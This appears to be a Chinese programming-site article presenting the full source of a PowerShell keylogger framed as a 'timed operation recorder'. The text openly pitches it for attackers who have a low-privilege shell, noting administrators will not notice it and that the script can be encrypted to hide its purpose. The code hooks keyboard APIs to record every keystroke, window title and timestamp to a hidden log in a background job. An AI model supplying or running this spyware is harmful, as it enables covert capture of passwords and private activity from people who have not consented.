欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页  >  IT编程

PowerShell小技巧之定时记录操作系统行为

程序员文章站 2022-06-25 10:02:58
作为系统管理员,有些时候是需要记录系统中的其他用户的一些操作行为的,例如:当系统管理员怀疑系统存在漏洞,且已经有被植入后门或者创建隐藏账户时,就需要对曾经登陆的用户进行监控...

作为系统管理员,有些时候是需要记录系统中的其他用户的一些操作行为的,例如:当系统管理员怀疑系统存在漏洞,且已经有被植入后门或者创建隐藏账户时,就需要对曾经登陆的用户进行监控,保存其打开或者操作过的文件。或者在另外一个场景,当黑客拿下一个普通权限的shell之后,想看看最近有哪些用户登陆过,操作过什么,以便根据用户习惯采取进一步行动获取更高权限,这个时候记录用户行为就显得很重要了。

      可能有读者觉得此时安装个监控软件不就行了么,拜托,你入侵别人的系统,你装个监控软件,你把管理员试做无物么?这个时候powershell这个vista及其之后windows操作系统都自带的强大的命令行就有了用处,系统自带,不会被管理员发现异常,脚本不用编译,如果脚本内容再加个密,他们更猜不出是干什么用的,嘿嘿。如果要记录几个特性用于记录啥时候干了什么,无非要记录的有几样内容:操作,哪个文件或程序,时间。有这几个特点就基本上可以掌握用户的操作习惯了。
 
      代码不算太难就不逐句解释了,有啥问题的读者可以给我留言询问,基本上关键语句都有注释的。代码如下:

复制代码 代码如下:

 =====文件名:get-timedoperationrecord.ps1=====
function get-timedoperationrecord {
<#
    author:fuhj(powershell#live.cn ,http://fuhaijun.com)
 logs keys pressed, time and the active window.
.parameter logpath
    specifies the path where pressed key details will be logged. by default, keystroke are logged to '$($env:temp)\key.log'.
.parameter collectioninterval
    specifies the interval in minutes to capture keystrokes. by default keystroke are captured indefinitely.
.example
    get-timedoperationrecord -logpath c:\key.log
.example
    get-timedoperationrecord -collectioninterval 20
#>
    [cmdletbinding()] param (
        [parameter(position = 0)]
        [validatescript({test-path (resolve-path (split-path -parent $_)) -pathtype container})]
        [string]
        $logpath = "$($env:temp)\key.log",

        [parameter(position = 1)]
        [uint32]
        $collectioninterval
    )

    $logpath = join-path (resolve-path (split-path -parent $logpath)) (split-path -leaf $logpath)

    write-verbose "logging keystrokes to $logpath"

    $initilizer = {
        $logpath = 'replaceme'

        '"typedkey","time","windowtitle"' | out-file -filepath $logpath -encoding unicode

        function keylog {
            [reflection.assembly]::loadwithpartialname('system.windows.forms') | out-null

            try
            {
                $importdll = [user32]
            }
            catch
            {
                $dynassembly = new-object system.reflection.assemblyname('win32lib')
                $assemblybuilder = [appdomain]::currentdomain.definedynamicassembly($dynassembly, [reflection.emit.assemblybuilderaccess]::run)
                $modulebuilder = $assemblybuilder.definedynamicmodule('win32lib', $false)
                $typebuilder = $modulebuilder.definetype('user32', 'public, class')

                $dllimportconstructor = [runtime.interopservices.dllimportattribute].getconstructor(@([string]))
                $fieldarray = [reflection.fieldinfo[]] @(
                    [runtime.interopservices.dllimportattribute].getfield('entrypoint'),
                    [runtime.interopservices.dllimportattribute].getfield('exactspelling'),
                    [runtime.interopservices.dllimportattribute].getfield('setlasterror'),
                    [runtime.interopservices.dllimportattribute].getfield('preservesig'),
                    [runtime.interopservices.dllimportattribute].getfield('callingconvention'),
                    [runtime.interopservices.dllimportattribute].getfield('charset')
                )

                $pinvokemethod = $typebuilder.definemethod('getasynckeystate', 'public, static', [int16], [type[]] @([windows.forms.keys]))
                $fieldvaluearray = [object[]] @(
                    'getasynckeystate',
                    $true,
                    $false,
                    $true,
                    [runtime.interopservices.callingconvention]::winapi,
                    [runtime.interopservices.charset]::auto
                )
                $customattribute = new-object reflection.emit.customattributebuilder($dllimportconstructor, @('user32.dll'), $fieldarray, $fieldvaluearray)
                $pinvokemethod.setcustomattribute($customattribute)

                $pinvokemethod = $typebuilder.definemethod('getkeyboardstate', 'public, static', [int32], [type[]] @([byte[]]))
                $fieldvaluearray = [object[]] @(
                    'getkeyboardstate',
                    $true,
                    $false,
                    $true,
                    [runtime.interopservices.callingconvention]::winapi,
                    [runtime.interopservices.charset]::auto
                )
                $customattribute = new-object reflection.emit.customattributebuilder($dllimportconstructor, @('user32.dll'), $fieldarray, $fieldvaluearray)
                $pinvokemethod.setcustomattribute($customattribute)

                $pinvokemethod = $typebuilder.definemethod('mapvirtualkey', 'public,static', [int32], [type[]] @([int32], [int32]))
                $fieldvaluearray = [object[]] @(
                    'mapvirtualkey',
                    $false,
                    $false,
                    $true,
                    [runtime.interopservices.callingconvention]::winapi,
                    [runtime.interopservices.charset]::auto
                )
                $customattribute = new-object reflection.emit.customattributebuilder($dllimportconstructor, @('user32.dll'), $fieldarray, $fieldvaluearray)
                $pinvokemethod.setcustomattribute($customattribute)

                $pin$pinvokemethod = $typebuilder.definemethod('tounicode', 'public, static', [int32],
                    [type[]] @([uint32], [uint32], [byte[]], [text.stringbuilder], [int32], [uint32]))
                $fieldvaluearray = [object[]] @(
                    'tounicode',
                    $false,
                    $false,
                    $true,
                    [runtime.interopservices.callingconvention]::winapi,
                    [runtime.interopservices.charset]::auto
                )
                $customattribute = new-object reflection.emit.customattributebuilder($dllimportconstructor, @('user32.dll'), $fieldarray, $fieldvaluearray)
                $pinvokemethod.setcustomattribute($customattribute)

                $pinvokemethod = $typebuilder.definemethod('getforegroundwindow', 'public, static', [intptr], [type[]] @())
                $fieldvaluearray = [object[]] @(
                    'getforegroundwindow',
                    $true,
                    $false,
                    $true,
                    [runtime.interopservices.callingconvention]::winapi,
                    [runtime.interopservices.charset]::auto
                )
                $customattribute = new-object reflection.emit.customattributebuilder($dllimportconstructor, @('user32.dll'), $fieldarray, $fieldvaluearray)
                $pinvokemethod.setcustomattribute($customattribute)

                $importdll = $typebuilder.createtype()
            }

            start-sleep -milliseconds 40

                try
                {

                    #loop through typeable characters to see which is pressed
                    for ($typeablechar = 1; $typeablechar -le 254; $typeablechar++)
                    {
                        $virtualkey = $typeablechar
                        $keyresult = $importdll::getasynckeystate($virtualkey)

                        #if the key is pressed
                        if (($keyresult -band 0x8000) -eq 0x8000)
                        {

                            #check for keys not mapped by virtual keyboard
                            $leftshift    = ($importdll::getasynckeystate([windows.forms.keys]::lshiftkey) -band 0x8000) -eq 0x8000
                            $rightshift   = ($importdll::getasynckeystate([windows.forms.keys]::rshiftkey) -band 0x8000) -eq 0x8000
                            $leftctrl     = ($importdll::getasynckeystate([windows.forms.keys]::lcontrolkey) -band 0x8000) -eq 0x8000
                            $rightctrl    = ($importdll::getasynckeystate([windows.forms.keys]::rcontrolkey) -band 0x8000) -eq 0x8000
                            $leftalt      = ($importdll::getasynckeystate([windows.forms.keys]::lmenu) -band 0x8000) -eq 0x8000
                            $rightalt     = ($importdll::getasynckeystate([windows.forms.keys]::rmenu) -band 0x8000) -eq 0x8000
                            $tabkey       = ($importdll::getasynckeystate([windows.forms.keys]::tab) -band 0x8000) -eq 0x8000
                            $spacebar     = ($importdll::getasynckeystate([windows.forms.keys]::space) -band 0x8000) -eq 0x8000
                            $deletekey    = ($importdll::getasynckeystate([windows.forms.keys]::delete) -band 0x8000) -eq 0x8000
                            $enterkey     = ($importdll::getasynckeystate([windows.forms.keys]::return) -band 0x8000) -eq 0x8000
                            $backspacekey = ($importdll::getasynckeystate([windows.forms.keys]::back) -band 0x8000) -eq 0x8000
                            $leftarrow    = ($importdll::getasynckeystate([windows.forms.keys]::left) -band 0x8000) -eq 0x8000
                            $rightarrow   = ($importdll::getasynckeystate([windows.forms.keys]::right) -band 0x8000) -eq 0x8000
                            $uparrow      = ($importdll::getasynckeystate([windows.forms.keys]::up) -band 0x8000) -eq 0x8000
                            $downarrow    = ($importdll::getasynckeystate([windows.forms.keys]::down) -band 0x8000) -eq 0x8000
                            $leftmouse    = ($importdll::getasynckeystate([windows.forms.keys]::lbutton) -band 0x8000) -eq 0x8000
                            $rightmouse   = ($importdll::getasynckeystate([windows.forms.keys]::rbutton) -band 0x8000) -eq 0x8000

                            if ($leftshift -or $rightshift) {$logoutput += '[shift]'}
                            if ($leftctrl  -or $rightctrl)  {$logoutput += '[ctrl]'}
                            if ($leftalt   -or $rightalt)   {$logoutput += '[alt]'}
                            if ($tabkey)       {$logoutput += '[tab]'}
                            if ($spacebar)     {$logoutput += '[spacebar]'}
                            if ($deletekey)    {$logoutput += '[delete]'}
                            if ($enterkey)     {$logoutput += '[enter]'}
                            if ($backspacekey) {$logoutput += '[backspace]'}
                            if ($leftarrow)    {$logoutput += '[left arrow]'}
                            if ($rightarrow)   {$logoutput += '[right arrow]'}
                            if ($uparrow)      {$logoutput += '[up arrow]'}
                            if ($downarrow)    {$logoutput += '[down arrow]'}
                            if ($leftmouse)    {$logoutput += '[left mouse]'}
                            if ($rightmouse)   {$logoutput += '[right mouse]'}

                            #check for capslock
                            if ([console]::capslock) {$logoutput += '[caps lock]'}

                            $mappedkey = $importdll::mapvirtualkey($virtualkey, 3)
                            $keyboardstate = new-object byte[] 256
                            $checkkeyboardstate = $importdll::getkeyboardstate($keyboardstate)

                            #create a stringbuilder object
                            $stringbuilder = new-object -typename system.text.stringbuilder;
                            $unicodekey = $importdll::tounicode($virtualkey, $mappedkey, $keyboardstate, $stringbuilder, $stringbuilder.capacity, 0)

                            #convert typed characters
                            if ($unicodekey -gt 0) {
                                $typedcharacter = $stringbuilder.tostring()
                                $logoutput += ('['+ $typedcharacter +']')
                            }

                            #get the title of the foreground window
                            $topwindow = $importdll::getforegroundwindow()
                            $windowtitle = (get-process | where-object { $_.mainwindowhandle -eq $topwindow }).mainwindowtitle

                            #get the current dtg
                            $timestamp = (get-date -format dd/mm/yyyy:hh:mm:ss:ff)

                            #create a custom object to store results
                            $objectproperties = @{'key typed' = $logoutput;
                                                  'window title' = $windowtitle;
                                                  'time' = $timestamp}
                            $resultsobject = new-object -typename psobject -property $objectproperties
                            $csventry = ($resultsobject | convertto-csv -notypeinformation)[1]
                            #return results
                            out-file -filepath $logpath -append -inputobject $csventry -encoding unicode

                        }
                    }
                }
                catch {}
            }
        }

    $initilizer = [scriptblock]::create(($initilizer -replace 'replaceme', $logpath))

    start-job -initializationscript $initilizer -scriptblock {for (;;) {keylog}} -name keylogger | out-null

    if ($psboundparameters['collectioninterval'])
    {
        $timer = new-object timers.timer($collectioninterval * 60 * 1000)

        register-objectevent -inputobject $timer -eventname elapsed -sourceidentifier elapsedaction -action {
            stop-job -name keylogger
            unregister-event -sourceidentifier elapsedaction
            $sender.stop()
        } | out-null
    }
}

执行方式如下图所示:

PowerShell小技巧之定时记录操作系统行为

执行效果,会在指定的目录里生成log文件,内容如下图所示:

PowerShell小技巧之定时记录操作系统行为

能够看到里面相关的击键动作,有兴趣的读者可以猜一下,这段被记录的操作都干了什么,期间腾讯还推了一次弹窗新闻,无耻啊。